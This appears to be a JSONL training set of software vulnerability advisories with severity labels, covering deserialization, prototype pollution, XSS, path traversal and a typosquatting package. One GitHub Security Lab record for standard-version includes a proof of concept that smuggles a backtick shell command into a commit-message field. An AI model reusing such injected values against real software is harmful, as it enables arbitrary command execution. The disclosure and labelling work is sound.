-{"id": "00afbc4195f97ce40e75", "text": "Deserialization of Untrusted Data in Apache jUDDI\n\nApache jUDDI uses several classes related to Java's Remote Method Invocation (RMI) which (as an extension to UDDI) provides an alternate transport for accessing UDDI services.\n\nRMI uses the default Java serialization mechanism to pass parameters in RMI invocations. A remote attacker can send a malicious serialized object to the above RMI entries. The objects get deserialized without any check on the incoming data. In the worst case, it may let the attacker run arbitrary code remotely.\n\nFor both jUDDI web service applications and jUDDI clients, the usage of RMI is disabled by default. Since this is an optional feature and an extension to the UDDI protocol, the likelihood of impact is low. Starting with 3.3.10, all RMI related code was removed.", "text_raw": "Deserialization of Untrusted Data in Apache jUDDI\n\n[Severity: CRITICAL]\n\nApache jUDDI uses several classes related to Java's Remote Method Invocation (RMI) which (as an extension to UDDI) provides an alternate transport for accessing UDDI services.\n\nRMI uses the default Java serialization mechanism to pass parameters in RMI invocations. A remote attacker can send a malicious serialized object to the above RMI entries. The objects get deserialized without any check on the incoming data. In the worst case, it may let the attacker run arbitrary code remotely. \n\nFor both jUDDI web service applications and jUDDI clients, the usage of RMI is disabled by default. Since this is an optional feature and an extension to the UDDI protocol, the likelihood of impact is low. Starting with 3.3.10, all RMI related code was removed.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "7c60e953ea68f611162e", "text": "Prototype pollution vulnerability in js-extend\n\nPrototype pollution vulnerability in 'js-extend' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution vulnerability in js-extend\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'js-extend' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "f362136121e62867d61f", "text": "Deserialization of Untrusted Data in com.jsoniter:jsoniter\n\n# Withdrawn\n\nwas withdrawn by its CNA. Further investigation showed that it was not a security issue.\n\n## Original Description\n\nAll versions of package com.jsoniter:jsoniter are vulnerable to Deserialization of Untrusted Data via malicious JSON strings. This may lead to a Denial of Service, and in certain cases, code execution.", "text_raw": "Deserialization of Untrusted Data in com.jsoniter:jsoniter\n\n[Severity: HIGH]\n\n# Withdrawn\n\nwas withdrawn by its CNA. Further investigation showed that it was not a security issue. \n\n## Original Description\n\nAll versions of package com.jsoniter:jsoniter are vulnerable to Deserialization of Untrusted Data via malicious JSON strings. This may lead to a Denial of Service, and in certain cases, code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "95ce2a1dcc217386832d", "text": "Sandbox Breakout in realms-shim\n\nVersions of `realms-shim` prior to 1.2.0 are vulnerable to a Sandbox Breakout. `Reflect.construct` can be used on the sandboxed Function constructor to reach the prototypes of the primal Realm, which may allow an attacker to escape the sandbox and execute arbitrary code.\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "text_raw": "Sandbox Breakout in realms-shim\n\n[Severity: CRITICAL]\n\nVersions of `realms-shim` prior to 1.2.0 are vulnerable to a Sandbox Breakout. `Reflect.construct` can be used on the sandboxed Function constructor to reach the prototypes of the primal Realm, which may allow an attacker to escape the sandbox and execute arbitrary code.\n\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-04", "split": "train"}
-{"id": "6405d05fd2afe168bd4b", "text": "Puppet supports use of IP addresses in certnames without warning of potential risks\n\n`lib/puppet/network/authstore.rb` in Puppet before 2.7.18, and Puppet Enterprise before 2.5.2, supports use of IP addresses in certnames without warning of potential risks, which might allow remote attackers to spoof an agent by acquiring a previously used IP address.", "text_raw": "Puppet supports use of IP addresses in certnames without warning of potential risks\n\n[Severity: LOW]\n\n`lib/puppet/network/authstore.rb` in Puppet before 2.7.18, and Puppet Enterprise before 2.5.2, supports use of IP addresses in certnames without warning of potential risks, which might allow remote attackers to spoof an agent by acquiring a previously used IP address.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "fdfbb85c7f6d583642b3", "text": "RubyGems Escape sequence injection vulnerability in verbose\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. Since Gem::UserInteraction#verbose calls say without escaping, escape sequence injection is possible.", "text_raw": "RubyGems Escape sequence injection vulnerability in verbose\n\n[Severity: HIGH]\n\nAn issue was discovered in RubyGems 2.6 and later through 3.0.2. Since Gem::UserInteraction#verbose calls say without escaping, escape sequence injection is possible.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-20", "split": "train"}
-{"id": "c416fdd68333fa708df8", "text": "Withdrawn, accidental duplicate publish.\n\nactionpack/lib/action_dispatch/routing/route_set.rb in Action Pack in Ruby on Rails 4.x before 4.2.5.1 and 5.x before 5.0.0.beta1.1 allows remote attackers to cause a denial of service (superfluous caching and memory consumption) by leveraging an application's use of a wildcard controller route.", "text_raw": "Moderate severity vulnerability that affects actionpack\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nactionpack/lib/action_dispatch/routing/route_set.rb in Action Pack in Ruby on Rails 4.x before 4.2.5.1 and 5.x before 5.0.0.beta1.1 allows remote attackers to cause a denial of service (superfluous caching and memory consumption) by leveraging an application's use of a wildcard controller route.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "91c5ee2ba8bdf6bb8d69", "text": "Improper Input Validation in HashiCorp Vault\n\nHashiCorp Vault and Vault Enterprise 1.4.x before 1.4.2 in Go package github.com/hashicorp/vault-plugin-secrets-gcp/plugin has Incorrect Access Control.", "text_raw": "Improper Input Validation in HashiCorp Vault\n\n[Severity: CRITICAL]\n\nHashiCorp Vault and Vault Enterprise 1.4.x before 1.4.2 in Go package github.com/hashicorp/vault-plugin-secrets-gcp/plugin has Incorrect Access Control.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "c60e7eda5dfe19679b70", "text": "Securimage 3.5 URI-based Cross-Site Scripting Vulnerability", "text_raw": "Securimage 3.5 URI-based Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-05-10", "split": "train"}
-{"id": "ef0506d46ff62d7acbf1", "text": "Withdrawn, accidental duplicate publish.\n\nThe festivaltts4r gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the (1) to_speech or (2) to_mp3 method in lib/festivaltts4r/festival4r.rb.", "text_raw": "High severity vulnerability that affects festivaltts4r\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nThe festivaltts4r gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a string to the (1) to_speech or (2) to_mp3 method in lib/festivaltts4r/festival4r.rb.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "eb7227040d4dab17b811", "text": "Prototype Pollution in object-path\n\nobject-path is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). The `del()` function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like `toString` on all objects.", "text_raw": "Prototype Pollution in object-path\n\n[Severity: HIGH]\n\nobject-path is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'). The `del()` function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like `toString` on all objects.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "cc6d683ebbec8f014a09", "text": "Double free in stack_dst\n\nAffected versions of stack_dst used a push_inner function that increased the internal length of the array and then called val.clone(). If the val.clone() call panics, the stack could drop an already dropped element or drop uninitialized memory. This issue was fixed in `2a4d538` by increasing the length of the array after elements are cloned.", "text_raw": "Double free in stack_dst\n\n[Severity: CRITICAL]\n\nAffected versions of stack_dst used a push_inner function that increased the internal length of the array and then called val.clone(). If the val.clone() call panics, the stack could drop an already dropped element or drop uninitialized memory. This issue was fixed in `2a4d538` by increasing the length of the array after elements are cloned.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "d6ab836657e7b7f2524b", "text": "Prototype pollution in supermixer", "text_raw": "Prototype pollution in supermixer\n\n[Severity: HIGH]\n\nPrototype pollution in Stampit supermixer allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "0dbf4a9b1553f2177ae5", "text": "Downloads Resources over HTTP in mystem3\n\nAffected versions of `mystem3` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem3`.\n\n## Recommendation\n\nUpdate to version 1.0.8 or later.", "text_raw": "Downloads Resources over HTTP in mystem3\n\n[Severity: HIGH]\n\nAffected versions of `mystem3` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `mystem3`.\n\n\n## Recommendation\n\nUpdate to version 1.0.8 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "ad3dd41420beddecd4e2", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "7128d840267b5d5bf040", "text": "fuelux vulnerable to Cross-Site Scripting in Pillbox feature\n\nAffected versions of `fuelux` contain a cross-site scripting vulnerability in the Pillbox feature. By supplying a script as a value for a new pillbox, it is possible to cause arbitrary script execution.\n\n## Recommendation\n\nUpdate to version 3.15.7 or later.", "text_raw": "fuelux vulnerable to Cross-Site Scripting in Pillbox feature\n\n[Severity: HIGH]\n\nAffected versions of `fuelux` contain a cross-site scripting vulnerability in the Pillbox feature. By supplying a script as a value for a new pillbox, it is possible to cause arbitrary script execution.\n\n## Recommendation\n\nUpdate to version 3.15.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "fabca0ab7cd583300fed", "text": "Insecure Credential Storage in web3\n\nAll versions of `web3` are vulnerable to Insecure Credential Storage. The package stores encrypted wallets in local storage and requires a password to load the wallet. Once the wallet is loaded, the private key is accessible via LocalStorage. Exploiting this vulnerability likely requires a Cross-Site Scripting vulnerability to access the private key.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Insecure Credential Storage in web3\n\n[Severity: LOW]\n\nAll versions of `web3` are vulnerable to Insecure Credential Storage. The package stores encrypted wallets in local storage and requires a password to load the wallet. Once the wallet is loaded, the private key is accessible via LocalStorage. Exploiting this vulnerability likely requires a Cross-Site Scripting vulnerability to access the private key.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-05-30", "split": "train"}
-{"id": "ac157ed606f7af497fb0", "text": "Command Injection in standard-version\n\n# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [standard-version](https://github.com/conventional-changelog/standard-version).\n\n## Summary\n\nThe `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\n## Product\nStandard Version\n\n## Tested Version\nCommit [2f04ac8](https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9/)\n\n## Details\n\n### Issue 1: Command injection in `standardVersion`\n\nThe following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:\n\n```\nnpm install standard-version\ngit init\necho \"foo\" > foo.txt # the git repo has to be non-empty\ngit add foo.txt\ngit commit -am \"initial commit\"\n```\n\nNow create a file with the following contents:\n\n```\nvar fs = require(\"fs\");\n// setting up a bit of environment\nfs.writeFileSync(\"package.json\", '{\"name\": \"foo\", \"version\": \"1.0.0\"}');\n\nconst standardVersion = require('standard-version')\n\nstandardVersion({\n  noVerify: true,\n  infile: 'foo.txt',\n  releaseCommitMessageFormat: \"bla `touch exploit`\"\n})\n```\n\nand run it:\n\n```\nnode test.js\n```\n\nNotice that a file named `exploit` has been created.\n\nThis vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:\n[CVE-2020-7646](https://github.com/advisories/GHSA-m8xj-5v73-3hh8),\n[CVE-2020-7614](https://github.com/advisories/GHSA-426h-24vj-qwxf),\n[CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh),\n[CVE-2019-10778](https://github.com/advisories/GHSA-4gp3-p7ph-x2jr),\n[CVE-2019-10776](https://github.com/advisories/GHSA-84cm-v6jp-gjmr),\n[CVE-2018-16462](https://github.com/advisories/GHSA-9jm3-5835-537m),\n[CVE-2018-16461](https://github.com/advisories/GHSA-7g2w-6r25-2j7p),\n[CVE-2018-16460](https://github.com/advisories/GHSA-cfhg-9x44-78h2),\n[CVE-2018-13797](https://github.com/advisories/GHSA-pp57-mqmh-44h7),\n[CVE-2018-3786](https://github.com/advisories/GHSA-c9j3-wqph-5xx9),\n[CVE-2018-3772](https://github.com/advisories/GHSA-wjr4-2jgw-hmv8),\n[CVE-2018-3746](https://github.com/advisories/GHSA-3pxp-6963-46r9),\n[CVE-2017-16100](https://github.com/advisories/GHSA-jcw8-r9xm-32c6),\n[CVE-2017-16042](https://github.com/advisories/GHSA-qh2h-chj9-jffq).\n\nWe have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project [here](https://lgtm.com/query/237522640229151035/).\n\n#### Impact\n\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\n#### Remediation\n\nWe recommend not using an API that can interpret a string as a shell command. For example, use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback) instead of [`child_process.exec`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback).\n\n## Credit\n\nThis issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include `GHSL-2020-111` in any communication regarding this issue.\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/disclosures#policy).", "text_raw": "Command Injection in standard-version\n\n[Severity: MEDIUM]\n\n# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`\n\nThe [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [standard-version](https://github.com/conventional-changelog/standard-version).\n\n## Summary\n\nThe `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.\n\n## Product\nStandard Version\n \n## Tested Version\nCommit [2f04ac8](https://github.com/conventional-changelog/standard-version/tree/2f04ac8fc1c134a1981c23a093d4eece77d0bbb9/)\n\n## Details\n\n### Issue 1: Command injection in `standardVersion`\n\nThe following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:\n\n```\nnpm install standard-version\ngit init\necho \"foo\" > foo.txt # the git repo has to be non-empty\ngit add foo.txt\ngit commit -am \"initial commit\"\n```\n\nNow create a file with the following contents:\n\n```\nvar fs = require(\"fs\");\n// setting up a bit of environment\nfs.writeFileSync(\"package.json\", '{\"name\": \"foo\", \"version\": \"1.0.0\"}');\n\nconst standardVersion = require('standard-version')\n\nstandardVersion({\n  noVerify: true,\n  infile: 'foo.txt',\n  releaseCommitMessageFormat: \"bla `touch exploit`\"\n})\n```\n\nand run it:\n\n```\nnode test.js\n```\n\nNotice that a file named `exploit` has been created.\n\nThis vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:\n[CVE-2020-7646](https://github.com/advisories/GHSA-m8xj-5v73-3hh8),\n[CVE-2020-7614](https://github.com/advisories/GHSA-426h-24vj-qwxf),\n[CVE-2020-7597](https://github.com/advisories/GHSA-5q88-cjfq-g2mh),\n[CVE-2019-10778](https://github.com/advisories/GHSA-4gp3-p7ph-x2jr),\n[CVE-2019-10776](https://github.com/advisories/GHSA-84cm-v6jp-gjmr),\n[CVE-2018-16462](https://github.com/advisories/GHSA-9jm3-5835-537m),\n[CVE-2018-16461](https://github.com/advisories/GHSA-7g2w-6r25-2j7p),\n[CVE-2018-16460](https://github.com/advisories/GHSA-cfhg-9x44-78h2),\n[CVE-2018-13797](https://github.com/advisories/GHSA-pp57-mqmh-44h7),\n[CVE-2018-3786](https://github.com/advisories/GHSA-c9j3-wqph-5xx9),\n[CVE-2018-3772](https://github.com/advisories/GHSA-wjr4-2jgw-hmv8),\n[CVE-2018-3746](https://github.com/advisories/GHSA-3pxp-6963-46r9),\n[CVE-2017-16100](https://github.com/advisories/GHSA-jcw8-r9xm-32c6),\n[CVE-2017-16042](https://github.com/advisories/GHSA-qh2h-chj9-jffq).\n\nWe have written a [CodeQL](https://codeql.com) query, which automatically detects this vulnerability. You can see the results of the query on the `standard-version` project [here](https://lgtm.com/query/237522640229151035/).\n\n#### Impact\n\nThis issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.\n\n#### Remediation\n\nWe recommend not using an API that can interpret a string as a shell command. For example, use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_callback) instead of [`child_process.exec`](https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback).\n\n## Credit\n\nThis issue was discovered and reported by GitHub Engineer [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include `GHSL-2020-111` in any communication regarding this issue.\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/disclosures#policy).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-13", "split": "train"}
-{"id": "a53ed83aaedf78d8909c", "text": "Malicious Package in reuest\n\nAll versions of `reuest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in reuest\n\n[Severity: CRITICAL]\n\nAll versions of `reuest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "a07409a915775b3b08ac", "text": "A user without PR can reset user authentication failures information\n\n### Impact\nThe script service method used to reset the authentication failures record can be executed by any user with Script rights and does not require Programming rights as it should have.\nNote that being able to reset the authentication failure record mean that an attacker with script right might use it to try performing a bruteforce attack since she'd been able to virtually deactivate the mechanism introduced to mitigate those attacks.\n\n### Patches\nThe problem has been patched in version 12.6.8, 12.10.4 and 13.0.\n\n### Workarounds\nThere's no workaround besides upgrading and being careful on which user should have Script right access. Note that any bruteforce attack on the authentication should be visible in the logs since the authentication failures are logged.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-18276\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org)\n* Email us at [the security mailing-list](mailto:security@xwiki.org)", "text_raw": "A user without PR can reset user authentication failures information\n\n[Severity: LOW]\n\n### Impact\nThe script service method used to reset the authentication failures record can be executed by any user with Script rights and does not require Programming rights as it should have.\nNote that being able to reset the authentication failure record mean that an attacker with script right might use it to try performing a bruteforce attack since she'd been able to virtually deactivate the mechanism introduced to mitigate those attacks.\n\n### Patches\nThe problem has been patched in version 12.6.8, 12.10.4 and 13.0.\n\n### Workarounds\nThere's no workaround besides upgrading and being careful on which user should have Script right access. Note that any bruteforce attack on the authentication should be visible in the logs since the authentication failures are logged.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-18276\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org)\n* Email us at [the security mailing-list](mailto:security@xwiki.org)\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "6cee189e6e06e9d23842", "text": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21351](https://x-stream.github.io/CVE-2021-21351.html).\n\n### Credits\nwh1t3p1g G5-RD6@IIE found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21351](https://x-stream.github.io/CVE-2021-21351.html).\n\n### Credits\nwh1t3p1g G5-RD6@IIE found and reported the issue to XStream and provided the required information to reproduce it.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "a7169eb8688174815365", "text": "Infoproject Biznis Heroj (XSS/SQLi) Multiple Remote Vulnerabilities", "text_raw": "Infoproject Biznis Heroj (XSS/SQLi) Multiple Remote Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-12-21", "split": "train"}
-{"id": "5482e2f51d71aa5841b6", "text": "Denial of Service in Page Error Handling\n\n### Problem\nRequesting invalid or non-existing resources via HTTP triggers the page error handler which again could retrieve content  to be shown as error message from another page. This leads to a scenario in which the application is calling itself recursively - amplifying the impact of the initial attack until the limits of the web server are exceeded.\n\n### Solution\nUpdate to TYPO3 versions 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Paul Keller, Mathias Bolt Lesniak and Kay Strobach who reported this issue and to TYPO3 framework merger Frank Nägler and to TYPO3 security team member Torben Hansen who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-005](https://typo3.org/security/advisory/typo3-core-sa-2021-005)", "text_raw": "Denial of Service in Page Error Handling\n\n[Severity: MEDIUM]\n\n> ### Meta\n> * CVSS:  `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H/E:F/RL:O/RC:C` (5.5)\n> * CWE-405, CWE-674\n> * Status: **DRAFT**\n\n### Problem\nRequesting invalid or non-existing resources via HTTP triggers the page error handler which again could retrieve content  to be shown as error message from another page. This leads to a scenario in which the application is calling itself recursively - amplifying the impact of the initial attack until the limits of the web server are exceeded.\n\n### Solution\nUpdate to TYPO3 versions 9.5.25, 10.4.14, 11.1.1 that fix the problem described.\n\n### Credits\nThanks to Paul Keller, Mathias Bolt Lesniak and Kay Strobach who reported this issue and to TYPO3 framework merger Frank Nägler and to TYPO3 security team member Torben Hansen who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-005](https://typo3.org/security/advisory/typo3-core-sa-2021-005)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-23", "split": "train"}
-{"id": "585c6e1ca716bbe053d3", "text": "Prototype Pollution in confucious\n\nAll versions of package confucious up to and including version 0.0.12 are vulnerable to Prototype Pollution via the set function.", "text_raw": "Prototype Pollution in confucious\n\n[Severity: CRITICAL]\n\nAll versions of package confucious up to and including version 0.0.12 are vulnerable to Prototype Pollution via the set function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "d13ac84b8a950d68078a", "text": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0802.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office Memory Corruption Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office contains a memory corruption vulnerability due to the way objects are handled in memory. Successful exploitation allows for remote code execution in the context of the current user. This vulnerability is known to be chained with CVE-2018-0802.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6d37b60edf4dc9543564", "text": "Insufficient Verification of Data Authenticity in Eclipse Theia\n\nIn Eclipse Theia versions 0.3.9 through 0.15.0, one of the default pre-packaged Theia extensions is \"Mini-Browser\", published as \"@theia/mini-browser\" on npmjs.com. This extension, for its own needs, exposes a HTTP endpoint that allows to read the content of files on the hosts filesystem, given their path, without restrictions on the requesters origin. This design is vulnerable to being exploited remotely through a DNS rebinding attack or a drive-by download of a carefully crafted exploit.", "text_raw": "Insufficient Verification of Data Authenticity in Eclipse Theia\n\n[Severity: HIGH]\n\nIn Eclipse Theia versions 0.3.9 through 0.15.0, one of the default pre-packaged Theia extensions is \"Mini-Browser\", published as \"@theia/mini-browser\" on npmjs.com. This extension, for its own needs, exposes a HTTP endpoint that allows to read the content of files on the hosts filesystem, given their path, without restrictions on the requesters origin. This design is vulnerable to being exploited remotely through a DNS rebinding attack or a drive-by download of a carefully crafted exploit.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "641461f3a185bca8accc", "text": "Path traversal attack on Windows platforms\n\nTapestry processes assets `/assets/ctx` using classes chain `StaticFilesFilter -> AssetDispatcher -> ContextResource`, which doesn't filter the character `\\`, so attacker can perform a path traversal attack to read any files on Windows platform.", "text_raw": "Path traversal attack on Windows platforms\n\n[Severity: HIGH]\n\nTapestry processes assets `/assets/ctx` using classes chain `StaticFilesFilter -> AssetDispatcher -> ContextResource`, which doesn't filter the character `\\`, so attacker can perform a path traversal attack to read any files on Windows platform.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-18", "split": "train"}
-{"id": "35660abba11dc59dbc6c", "text": "Vulnerability in packageCmd function leads to arbitrary code execution via filePath parameters\n\naaptjs is a node wraper for aapt. An issue was discovered in the packageCmd function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "text_raw": "Vulnerability in packageCmd function leads to arbitrary code execution via filePath parameters\n\n[Severity: CRITICAL]\n\naaptjs is a node wraper for aapt. An issue was discovered in the packageCmd function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-02", "split": "train"}
